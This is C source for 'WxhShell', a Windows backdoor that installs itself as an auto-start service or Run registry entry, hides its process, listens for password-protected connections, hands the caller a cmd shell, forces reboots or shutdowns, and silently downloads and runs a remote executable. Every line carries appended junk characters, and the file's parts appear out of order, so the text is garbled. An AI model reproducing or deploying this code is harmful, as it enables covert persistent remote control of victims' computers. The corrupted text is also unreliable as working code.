    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )}i|)^J  
    else { :aWC6"ik-W  
    closesocket(wsh); $\q}A:  
    ExitThread(0); )Ag{S[yZ  
    } U)C>^ !Us  
    break; ie}?}s  
    } ]^I[SG,  
  // 获取shell H' %#71  
  case 's': { Lv7$@|"H9  
    CmdShell(wsh); {)PgN  
    closesocket(wsh); "HtaJVp//  
    ExitThread(0); DT3koci(  
    break; BoP,MpF  
  } I\P w`  
  // 退出 M+-1/vR *@  
  case 'x': { A?"/ >LM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m(CAXq-t  
    CloseIt(wsh); W3w$nV  
    break; 1)J' pDa  
    } rn RWL4  
  // 离开 y;=/S?L.:  
  case 'q': { jh"YHe/X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X.[8L^ldh  
    closesocket(wsh); '4,>#D8@O  
    WSACleanup(); !+_X q$9_  
    exit(1); .05x=28n%  
    break; <b_?[%(u  
        } lt& c/xi_  
  } `2,F!kCt  
  } ,L-G-V+  
GU7f27p  
  // 提示信息 )}1S `*J/O  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b_']S0$c\  
} ?6//'bO:%  
  } a\tv,Lx  
E^? 3P'%^  
  return; L16">,5  
} vQmqYyOc2  
{~EPP .  
// shell模块句柄 |vgYi  
int CmdShell(SOCKET sock) V=)' CCi{  
{ Xk}\-&C7  
STARTUPINFO si; Ue(\-b\)  
ZeroMemory(&si,sizeof(si)); #Q$+AdY|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zj 2l&)N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .4XX )f5  
PROCESS_INFORMATION ProcessInfo; c|Fu6LF a  
char cmdline[]="cmd"; ? u~?:a@K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @P/6NMjZ^  
  return 0; FY"csZ  
} TV~S#yg+H  
91M5F$  
// 自身启动模式 ]}L tf,9  
int StartFromService(void) s3y"y_u  
{ S@cKo&^  
typedef struct (lt{$0   
{ ?wREX[Tqs  
  DWORD ExitStatus; o ^""=Z  
  DWORD PebBaseAddress; s^HI%mdf  
  DWORD AffinityMask; ]K|td)1X  
  DWORD BasePriority; -`,F e3  
  ULONG UniqueProcessId; ahg]OWn#  
  ULONG InheritedFromUniqueProcessId; kHd`k.nW  
}   PROCESS_BASIC_INFORMATION; gmN$}Gy}  
t>h:s3c  
PROCNTQSIP NtQueryInformationProcess; o_n 3.O=  
dWiX_&g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N1Dr'aw*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X9;51JV  
;nAI;Qw L  
  HANDLE             hProcess; Zx)gLDd  
  PROCESS_BASIC_INFORMATION pbi; }X~"RQf9  
nJY3 1(p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l`."rei%)  
  if(NULL == hInst ) return 0; bp>M&1^KY  
d0 ;<Cw~Tl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Zu|qN*N4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6rMNp"!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o8fY!C)  
 }A&I@2d  
  if (!NtQueryInformationProcess) return 0; q,>4#J[2;s  
@bZ,)R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @|<qTci  
  if(!hProcess) return 0; _&aPF/  
h6Cqc}P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .zsY VtK  
sPvjJr"s  
  CloseHandle(hProcess); /]-a 1  
\WxBtpbQ B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |>KOlwh5n  
if(hProcess==NULL) return 0; ,PeE'$q  
</D )i  
HMODULE hMod; 6UM1>xq9A  
char procName[255]; /i(R~7;?  
unsigned long cbNeeded; ##nC@h@  
yaYJmhG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f0 kz:sZ9  
$ EexNz  
  CloseHandle(hProcess); C/MQY:X4  
J=b 'b%  
if(strstr(procName,"services")) return 1; // 以服务启动 R)6"P?h._4  
]E^)d|_  
  return 0; // 注册表启动 yaPx=^&  
} vrIWw?/z?  
;Q0H7)t:  
// 主模块 OJD!Ar8Q  
int StartWxhshell(LPSTR lpCmdLine) a?@lX>Z  
{ a(lmm@;V<  
  SOCKET wsl; X=V2^zrt  
BOOL val=TRUE; 8=OpX,t(  
  int port=0; rUZ09>nDy  
  struct sockaddr_in door; +h8`8k'}-2  
!Y10UmMu  
  if(wscfg.ws_autoins) Install(); ]Rj?OSok  
\k5 sdHmI[  
port=atoi(lpCmdLine); RcOfesW o  
#U.6HBuQa  
if(port<=0) port=wscfg.ws_port; S=G2%u!;  
1v 4M*  
  WSADATA data; f /t`B^}@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; h_6c9VI  
pd-I^Q3-  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c^stfFE&  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ydMSL25<+  
  door.sin_family = AF_INET; U04&z 91"  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @a,} k<@E  
  door.sin_port = htons(port); 1NkJs&  
dUv(Pu(.#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $E}N`B7  
closesocket(wsl); \LM.>vJ  
return 1; p3 V?n[/}  
} &Qq|  
Z29aRi  
  if(listen(wsl,2) == INVALID_SOCKET) { #fb &51  
closesocket(wsl); US\h,J\Ju  
return 1; K94bM5O 1  
} ij?Ww'p9>  
  Wxhshell(wsl); v1p^=" IHI  
  WSACleanup(); k:URP`w[X=  
(*9-Fa  
return 0; OoQLR  
n?"("Fiw  
} *t_Q5&3L+U  
pA6A*~QE  
// 以NT服务方式启动 QW_BT ^d"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6G{ Q@  
{ $e:bDZ(hjj  
DWORD   status = 0; #I\" 'n5M  
  DWORD   specificError = 0xfffffff; V3ExS1fNf  
<==6fc>s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gBOF#"-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nH B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?}#Iu-IA  
  serviceStatus.dwWin32ExitCode     = 0; g}pD%  
  serviceStatus.dwServiceSpecificExitCode = 0; %e:[[yq)G  
  serviceStatus.dwCheckPoint       = 0; h4Xz"i{z  
  serviceStatus.dwWaitHint       = 0; PJ\k|  
*,28@_EwY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6Ad=#MM  
  if (hServiceStatusHandle==0) return; [_: GQ  
8RQv  
status = GetLastError(); $laUkD#vz  
  if (status!=NO_ERROR) ;vy<!@Y;8  
{ J,\e@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GP;N1/=  
    serviceStatus.dwCheckPoint       = 0; FH%M5RD  
    serviceStatus.dwWaitHint       = 0; z\$(@:{A  
    serviceStatus.dwWin32ExitCode     = status; )y{:Uc\4!  
    serviceStatus.dwServiceSpecificExitCode = specificError; O=6[/oc '  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %M:$ML6b<  
    return; fk!9` p'  
  } zbgGK7  
]E6r )C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; x"r,l/gzy  
  serviceStatus.dwCheckPoint       = 0; =}YX I  
  serviceStatus.dwWaitHint       = 0; wNU;gz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j4u ["O3  
} | ^G38  
e;2A{VsD8  
// 处理NT服务事件,比如:启动、停止 eD7qc1*G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) mtdy@=?1Y  
{ ?!O4ia3nFk  
switch(fdwControl) @8$z2  
{ hzT)5'_  
case SERVICE_CONTROL_STOP: F|@\IVEB]  
  serviceStatus.dwWin32ExitCode = 0; Wg20H23XW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; '.C#"nY>1  
  serviceStatus.dwCheckPoint   = 0; v0?SN>fZ  
  serviceStatus.dwWaitHint     = 0; vmh>|N4a7  
  { 3gnO)"$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RC?vU  
  } >P]gjYN  
  return; xsiJI1/68  
case SERVICE_CONTROL_PAUSE: }9&dY!h +  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nxNHf3   
  break; 1}Y3|QxF  
case SERVICE_CONTROL_CONTINUE: %0 i)l|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ci/qm\JI<<  
  break; D$@2H>.-  
case SERVICE_CONTROL_INTERROGATE: D c;k)z=  
  break; .(3ec/i4CF  
}; 4c[/%e:\-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y6Ux*vhK  
} Cy)N hgz  
{e q378d  
// 标准应用程序主函数 9M5W4&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R_\o`v5  
{ .rS. >d^n  
r=~K#:66  
// 获取操作系统版本 E(vO^)#  
OsIsNt=GetOsVer(); @BG].UJo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1 b 86@f   
aOS,%J^ ?  
  // 从命令行安装 uB#U( jl  
  if(strpbrk(lpCmdLine,"iI")) Install(); [ D.%v~j  
K?r  
  // 下载执行文件 k/sfak{Q  
if(wscfg.ws_downexe) { LNyrIk/1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tP"6H-)X&  
  WinExec(wscfg.ws_filenam,SW_HIDE); %M))Ak4 ~a  
} &AWrM{e  
E AZX  
if(!OsIsNt) { *C<;yPVc  
// 如果时win9x,隐藏进程并且设置为注册表启动 >oO]S]W  
HideProc(); Z4rk$K'=1w  
StartWxhshell(lpCmdLine); vB}c6A4'U  
} r7L.W  
else 1z-A3a/-  
  if(StartFromService()) 5+;Mc[V3-  
  // 以服务方式启动 IvlfX`("  
  StartServiceCtrlDispatcher(DispatchTable); |:.Uw\z5'  
else 5[4nFa}R:5  
  // 普通方式启动 C ocw%Yl  
  StartWxhshell(lpCmdLine); VBw 5[  
841y"@*BY  
return 0; ZO/u3&gU  
} e([>sAx!1  
B\e*-:pq>  
l#%7BGwzY  
}WaZ+Mdg\  
=========================================== "qd|!:bE  
gPb.%^p  
C#^y{q  
jT}={[9b  
MtaGv#mJ  
^m&I^ \  
" yj#*H  
miu?X!  
#include <stdio.h> }z$_!)/i  
#include <string.h> dR;N3KwY  
#include <windows.h> 4d cm)Xr  
#include <winsock2.h> E}v8Q~A(  
#include <winsvc.h> } Z FoCMM  
#include <urlmon.h> X^K^az&L  
/t`\b [  
#pragma comment (lib, "Ws2_32.lib") cz{`'VN}`  
#pragma comment (lib, "urlmon.lib") ge:a{L  
&)gc{(4$  
#define MAX_USER   100 // 最大客户端连接数 =y_KL  
#define BUF_SOCK   200 // sock buffer )G Alj;9A$  
#define KEY_BUFF   255 // 输入 buffer xr7}@rq"U<  
Dmr*Lh~  
#define REBOOT     0   // 重启 y_}vVHT,  
#define SHUTDOWN   1   // 关机 rq4g~e!S  
_#NibW  
#define DEF_PORT   5000 // 监听端口 iC/*d  
6lv@4R^u  
#define REG_LEN     16   // 注册表键长度 VsAJ2g9L  
#define SVC_LEN     80   // NT服务名长度 d&raHF*  
5RFro^S9E  
// 从dll定义API Q?1J<(oq9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {59 >U~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4=/jh:h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); XsQ81j.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  1n +Uv*  
Tx!t3;Yz[  
// wxhshell配置信息 HY FMf3  
struct WSCFG { e15yDwvB  
  int ws_port;         // 监听端口 z<%bNnSO  
  char ws_passstr[REG_LEN]; // 口令 c:u*-lYmK%  
  int ws_autoins;       // 安装标记, 1=yes 0=no s_XCKhN:  
  char ws_regname[REG_LEN]; // 注册表键名 `Wg"m~l$N  
  char ws_svcname[REG_LEN]; // 服务名 _,)_(R ,h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E+qLj|IU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GDSXBa*7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +pwTM]bV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no " nCK%w=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5WJ ~%"O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ndzADVP  
G)%V 3h  
}; Um{) ?1  
3qf#NJN}  
// default Wxhshell configuration I9qFXvqL  
struct WSCFG wscfg={DEF_PORT, _<#92v !F  
    "xuhuanlingzhe", 3*~`z9-z  
    1, v_EgY2l(  
    "Wxhshell", IDT\hTPIs  
    "Wxhshell", ?'+]d;UO&  
            "WxhShell Service", D]fuX|f~ul  
    "Wrsky Windows CmdShell Service", m+;U,[%[*E  
    "Please Input Your Password: ", n=V|NrU  
  1, ''@Tke3IG6  
  "http://www.wrsky.com/wxhshell.exe", T` h%=u|D  
  "Wxhshell.exe" &)tiO>B^6  
    }; ?Y3i-jY  
Zf3(! a[  
// 消息定义模块 Ig}hap]G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5=I({=/>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e'A_4;~@s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r=0PW_r:  
char *msg_ws_ext="\n\rExit."; |ugdl|f  
char *msg_ws_end="\n\rQuit."; SyVXXk 0  
char *msg_ws_boot="\n\rReboot..."; #%@bZ f  
char *msg_ws_poff="\n\rShutdown..."; gfj_]  
char *msg_ws_down="\n\rSave to "; CLzF84@W=  
hS8M|_  
char *msg_ws_err="\n\rErr!"; T&dNjx  
char *msg_ws_ok="\n\rOK!"; EQ,`6UT>  
H\oxj,+N  
char ExeFile[MAX_PATH]; ]jxyaE&%4  
int nUser = 0; jH9PD8D\  
HANDLE handles[MAX_USER]; @I?,!3`jS  
int OsIsNt; '1LN)Yw  
/~u^@@.  
SERVICE_STATUS       serviceStatus; +bLP+]7oZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =o~+R\1ux+  
yO7y`;Q(sF  
// 函数声明 nt$P A(Y  
int Install(void); En9J7es_  
int Uninstall(void); X-(( [A  
int DownloadFile(char *sURL, SOCKET wsh); 81x/ bx@L%  
int Boot(int flag); :XFQ}Cl  
void HideProc(void); LF!KP  
int GetOsVer(void); \O"H#gt  
int Wxhshell(SOCKET wsl); m`-:j"]b$  
void TalkWithClient(void *cs); = K}Pfh  
int CmdShell(SOCKET sock); PL&> p M  
int StartFromService(void); pLCj"D).M  
int StartWxhshell(LPSTR lpCmdLine); gi,7X\`KQ  
8xAIn>,_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); oQ r.cKD ?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); STjb2t,a  
d.~ns4bt9  
// 数据结构和表定义 A?#i{R  
SERVICE_TABLE_ENTRY DispatchTable[] = xjbI1qCfe  
{ 9 nc_$H{  
{wscfg.ws_svcname, NTServiceMain}, H"? 5]!p  
{NULL, NULL} #;a+)~3*O  
}; hzr, %r  
_]o7iqtv  
// 自我安装 iXo; e  
int Install(void)  VQH48{X  
{ Xydx87L/-e  
  char svExeFile[MAX_PATH]; /!5ohQlPJ  
  HKEY key; PWl;pBo  
  strcpy(svExeFile,ExeFile); KBtqtE'(L  
]^>Inh!  
// 如果是win9x系统,修改注册表设为自启动 #BP0MY&  
if(!OsIsNt) { 2WH(c$6PWf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f\= @jV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }EwE#sZ#  
  RegCloseKey(key); wE.jf.q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1gK^x^l*f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8Pa*d/5Y(  
  RegCloseKey(key); '+/mt_re=  
  return 0; 9ns( F:  
    } fDns r" T  
  } 4N$Wpx  
} Ur< (TM  
else { S y <E@1  
elGBX h  
// 如果是NT以上系统,安装为系统服务 `PtB2,?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dNf9,P_}  
if (schSCManager!=0) +BtLd+)R  
{ .jqil0#)Y"  
  SC_HANDLE schService = CreateService ]I,&Bme  
  ( :j3'+% '2  
  schSCManager, ;W5.g8  
  wscfg.ws_svcname, }w35fG^  
  wscfg.ws_svcdisp, P?>:YY53  
  SERVICE_ALL_ACCESS, yOlVS@7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]@z!r2[  
  SERVICE_AUTO_START, PU.j(0  
  SERVICE_ERROR_NORMAL, &2  Yo  
  svExeFile, n^;-&  
  NULL, {ObY1Y`ea  
  NULL, }rmr0Bh  
  NULL, OXM=@B<"  
  NULL, S;Sy.Lp  
  NULL l H_pG~  
  ); K\Q4u4DjbJ  
  if (schService!=0) %1k"K~eu  
  { -FZNk}  
  CloseServiceHandle(schService); 1VFCK&  
  CloseServiceHandle(schSCManager); #]c_ 2V  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F-:AT$Ok  
  strcat(svExeFile,wscfg.ws_svcname); =3'B$PY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1N$OXLu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); { /!ryOA65  
  RegCloseKey(key); K{I"2c  
  return 0; a] c03$fK  
    } h~sTi  
  } >wqWIw.w>  
  CloseServiceHandle(schSCManager); bz nMD  
} \Kui`X  
} nnRb   
YR\(*LJL  
return 1; [AFR \{  
} Xmmj.ZUr  
j-J/yhWO&  
// 自我卸载 [g"nu0sOK  
int Uninstall(void) NKFeND  
{  ) 4t%?wT  
  HKEY key; #s\yO~F-  
`dX0F=Ag?  
if(!OsIsNt) { 6rE8P#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TW 1`{SM  
  RegDeleteValue(key,wscfg.ws_regname); 4s|qxCks  
  RegCloseKey(key); \anOOn@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3%9XJ]Qao  
  RegDeleteValue(key,wscfg.ws_regname); |a7Kn/[`,  
  RegCloseKey(key); L:&'z:,<  
  return 0; e`LvHU_0  
  } Xl<*Fn?  
} @Zhd/=2[  
} t;3).F  
else { e@O]c "  
T"H"m4{'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "\+\,C  
if (schSCManager!=0) -XnIDXM  
{ &$T7eOiZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p<D@l2vt  
  if (schService!=0) %=K[C  
  { "+O/OKfR0  
  if(DeleteService(schService)!=0) { _Ad63.Uq))  
  CloseServiceHandle(schService); h]i vXF*  
  CloseServiceHandle(schSCManager); GK6~~ga=  
  return 0; @||nd,i`n~  
  } &QQ6F>'T  
  CloseServiceHandle(schService); %b_0l<+  
  } {C]tS5$Z  
  CloseServiceHandle(schSCManager); _Hx'<%hhI  
} TEer>gD:v  
} G,WLca[  
]!"7k_  
return 1; x5g&?2[  
} 8]#J_|A6Z  
=s.0 f:(  
// 从指定url下载文件 @>ys,dy  
int DownloadFile(char *sURL, SOCKET wsh) k&[6Ld0~56  
{ W"\`UzOLQ  
  HRESULT hr; w?*79 u  
char seps[]= "/"; ?)<zzL",  
char *token; \TzBu?,v8  
char *file; #:Q\   
char myURL[MAX_PATH]; QS4~":D/C  
char myFILE[MAX_PATH]; S~m8j |3K  
nRX'J5Q m<  
strcpy(myURL,sURL); (u@X5O(a  
  token=strtok(myURL,seps); NyC&j`d  
  while(token!=NULL) TntTR"6aD  
  { ZjY?T)WE9  
    file=token; A ^hafBa  
  token=strtok(NULL,seps); u!+;Iy7  
  } o)b-fAd@$  
S 1~EJa5H  
GetCurrentDirectory(MAX_PATH,myFILE); <f)T*E^5%  
strcat(myFILE, "\\"); 'Zex/:QS  
strcat(myFILE, file); sc-hO9~k  
  send(wsh,myFILE,strlen(myFILE),0); 6e.l# c!1}  
send(wsh,"...",3,0); 7z\ #"~(.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |G/)<1P  
  if(hr==S_OK) yZoJD{'?Sw  
return 0; ON>l%Ae4G  
else .n.N.e  
return 1; |eye) E:  
f*xv#G  
} KT(v'KE 1  
 (t@!0_5  
// 系统电源模块  N?,  
int Boot(int flag) BVus3Y5IJQ  
{ BSr#;;\  
  HANDLE hToken; c1R[Hck  
  TOKEN_PRIVILEGES tkp; H<nA*Zf2@R  
XN\rq=  
  if(OsIsNt) { #Rs5W  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .*+jD^Gr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }2c&ARQ.m>  
    tkp.PrivilegeCount = 1; mL#$8wUdt{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /c!^(5K fT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t1yfSStp  
if(flag==REBOOT) { >@a7Zzl0H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) F_/ra?WVH  
  return 0; 9@Cu5U]  
} eQ[}ALIq  
else { ;jPiD`Kyv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) f }.t  
  return 0; H|`D3z.c  
} ^e\$g2).  
  } 9R-2\D]  
  else { "8a ?K Q  
if(flag==REBOOT) { ~`$P-^u88X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G~_D'o<r  
  return 0; d|W=_7 z  
} ,E%O_:}R  
else { {C8IYBm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pP"j|  
  return 0; 8aM\B%NGWi  
} p*1 B *R  
} -M T1qqi  
sC2NFb-+&  
return 1; O^ &m  
} N<Ym&$xR  
L0{ [L  
// win9x进程隐藏模块 )3 f\H  
void HideProc(void) q^ &r<i  
{ z/WGL  
X -=M>H^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u35"oLV6}#  
  if ( hKernel != NULL ) DV>;sCMJ %  
  { LU@1Gol  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f+)LVT8p  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nq+6ipx  
    FreeLibrary(hKernel); =E(ed,gH8  
  } oSYbx:2wo  
:}#j-ZCC"  
return; GlC(uhCpV  
} *L Y6hph"  
OOABn*  
// 获取操作系统版本 eZhF<<Y  
int GetOsVer(void) zqQ[uO]m?  
{ )>"Ky  
  OSVERSIONINFO winfo; s bR*[2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .SSyW{a3w  
  GetVersionEx(&winfo); (WY9EJ<s,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6V6Mo}QF s  
  return 1; +o0yx U 7t  
  else qM2m!  
  return 0; 5'`DrTOA  
} Nm-E4N#'i  
0;OZ|;Z  
// 客户端句柄模块 ~Dw% d;  
int Wxhshell(SOCKET wsl) n\BV*AH  
{ */@I$*  
  SOCKET wsh; bcxR7<T,"9  
  struct sockaddr_in client; i],~tT|P  
  DWORD myID; |942#rM  
Z0XQ|gkH  
  while(nUser<MAX_USER) <y7Hy&&y-  
{ -H|!KnR  
  int nSize=sizeof(client); YV>&v.x0;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d@b2XCh<K  
  if(wsh==INVALID_SOCKET) return 1; B| M@o^Tf  
pu ?CO A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }w >UNGUMh  
if(handles[nUser]==0) $ )2zz>4  
  closesocket(wsh); SD@ 0X[  
else ?=-/5A4K  
  nUser++; y4=T0[ V  
  } F8/n;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Qs8yJH`v  
@$%.iQ7A;  
  return 0; yOP$~L#TWs  
} 0&\71txrzg  
a^[s[j#^,  
// 关闭 socket h\~!!F  
void CloseIt(SOCKET wsh) +;oR_]l  
{ }6{00er  
closesocket(wsh); 8f%OPcr&  
nUser--; WOeLn[  
ExitThread(0); 1L?W+zMO  
} 8A-*MU`+  
9.#")%_p  
// 客户端请求句柄 #8BI`.t)j  
void TalkWithClient(void *cs) *;F<Q!i&v  
{ LFYSur8  
GyFA1%(o  
  SOCKET wsh=(SOCKET)cs; FBzsM7]j  
  char pwd[SVC_LEN]; 9Gx`[{wI9<  
  char cmd[KEY_BUFF]; ['iEw!  
char chr[1]; x[+bLlb  
int i,j; Ruwp"T}mF  
zh(=kS `  
  while (nUser < MAX_USER) { '9&@?P;  
<'hoN/g  
if(wscfg.ws_passstr) { I,]q;lEMt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Tn\{*A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0Xn,q]@Z  
  //ZeroMemory(pwd,KEY_BUFF); pDhUD}1G  
      i=0; EF9Y=(0|  
  while(i<SVC_LEN) { |;p.!FO  
4gmlK,a  
  // 设置超时 g2u\gR5  
  fd_set FdRead; yKm6 8n^  
  struct timeval TimeOut; Df(+@L5!  
  FD_ZERO(&FdRead); /{I-gjovy  
  FD_SET(wsh,&FdRead); + kF%>F]  
  TimeOut.tv_sec=8; X V)ctF4  
  TimeOut.tv_usec=0; K,*z8@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CqU^bVs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GI:!,9  
!>kg:xV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %`/F> `  
  pwd=chr[0]; z XUr34jF  
  if(chr[0]==0xd || chr[0]==0xa) { #60gjHYaV  
  pwd=0; L[`8 :}M  
  break; Q;nC #cg  
  } 5HY0 *\  
  i++; g-m,n=qu  
    } 0]nveC$  
? 5OK4cR  
  // 如果是非法用户,关闭 socket yGX5\PSo  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V <ilv<  
} S5UQ   
GE !p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W}%[i+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6%wlz%Fp  
"t-9q  
while(1) { W!+=`[Ff  
;Uy}(  
  ZeroMemory(cmd,KEY_BUFF); r-]%R:U*  
w:=:D=xH2  
      // 自动支持客户端 telnet标准   6 Pdao{P  
  j=0; q{f (T\  
  while(j<KEY_BUFF) { rD !GEU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D$TpT X\  
  cmd[j]=chr[0]; O+=}x]q*y  
  if(chr[0]==0xa || chr[0]==0xd) { z('t#J!b  
  cmd[j]=0; |~rKDc  
  break; {yd(n_PqY  
  } qc' ;<  
  j++; HTm`_}G9  
    } >8$Lqj^i  
::cI4D  
  // 下载文件 L{&Yh|}  
  if(strstr(cmd,"http://")) { >>8{N)c5E  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?<Mx*l  
  if(DownloadFile(cmd,wsh)) nm %7e!{m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Re*~C:  
  else 4 DV,f2:R4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K7i@7  
  } 2a 7"~z~  
